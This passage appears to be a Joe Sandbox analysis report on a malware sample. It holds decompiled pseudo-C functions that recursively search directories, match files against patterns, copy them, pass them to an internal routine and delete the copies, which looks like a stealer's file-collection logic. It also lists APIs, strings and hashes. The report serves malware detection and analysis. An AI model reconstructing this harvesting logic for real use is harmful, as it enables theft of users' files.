				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00578A30, Relevance: 31.8, APIs: 21, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00578A49
FindFirstFileA.KERNEL32(?,?), ref: 00578A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00578A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00578A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00578E25
FindClose.KERNEL32(000000FF), ref: 00578E3A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: 5d9aae9e89c0b4364297f88495b97b9019a038f3a933962fbd3ad42db73eeca7
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: 4BD1FFB2500109ABCB14DF94ED89EEB77BDBF8C700F048659B60D93150DA34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x7666d8
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00576090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005760AD
FindFirstFileA.KERNEL32(?,?), ref: 005760C4
lstrcat.KERNEL32(?,?), ref: 005760EC
StrCmpCA.SHLWAPI(?,00414010), ref: 0057610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00576122
FindNextFileA.KERNEL32(000000FF,?), ref: 00576361
FindClose.KERNEL32(000000FF), ref: 00576376

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: 380b9f2b0d173395ea4affd3e2d14d7470b23fbbe4693ae3d839a176121057a2
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: 668180B6900608AFCB14DFA4DC48EEA77B8BF88741F44CA98F60E96041E7749A94CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00579BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00579BD9
FindFirstFileA.KERNEL32(?,?), ref: 00579BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00579C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00579C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00579D70
FindClose.KERNEL32(000000FF), ref: 00579D85

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: b019e78cffee32d6848d91ca2ed2784fb54295714b7dc6ff974e4526da99c567
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 5B4146B2510219ABCB20DFA0DD48EEA77BCBF4C705F048599B70992050E779EB94CF66

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x769938
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x7690e8
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x769cc8
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x7690e8
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x762540
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x7690e8
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

@%v, xrefs: 00409C50
%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*$@%v
API String ID: 180737720-1377582349
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005714D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005714E9
FindFirstFileA.KERNEL32(?,?), ref: 00571500
StrCmpCA.SHLWAPI(?,00414010), ref: 00571526
StrCmpCA.SHLWAPI(?,00414014), ref: 0057153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0057169B
FindClose.KERNEL32(000000FF), ref: 005716B0

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: 3a21226e8515a2f1e46be7392bb157203d3e42bacdffdae84b5c60e44187529f
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: 31518472500618ABCB14DFA4ED48EEA77B8BF88700F04C599B60D93040E775EB94DF69

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x767fd0
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x7689f0
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x768138
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x768120
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00579D90, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00579DA9
FindFirstFileA.KERNEL32(?,?), ref: 00579DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00579DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00579DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00579FE8
FindClose.KERNEL32(000000FF), ref: 00579FFD

Strings

@%v, xrefs: 00579EA0, 00579EA6

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: @%v
API String ID: 180737720-3729674300
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: 692b29968e5bf9d1534da3db878fafceab888109038ebb36748cd72c7246f001
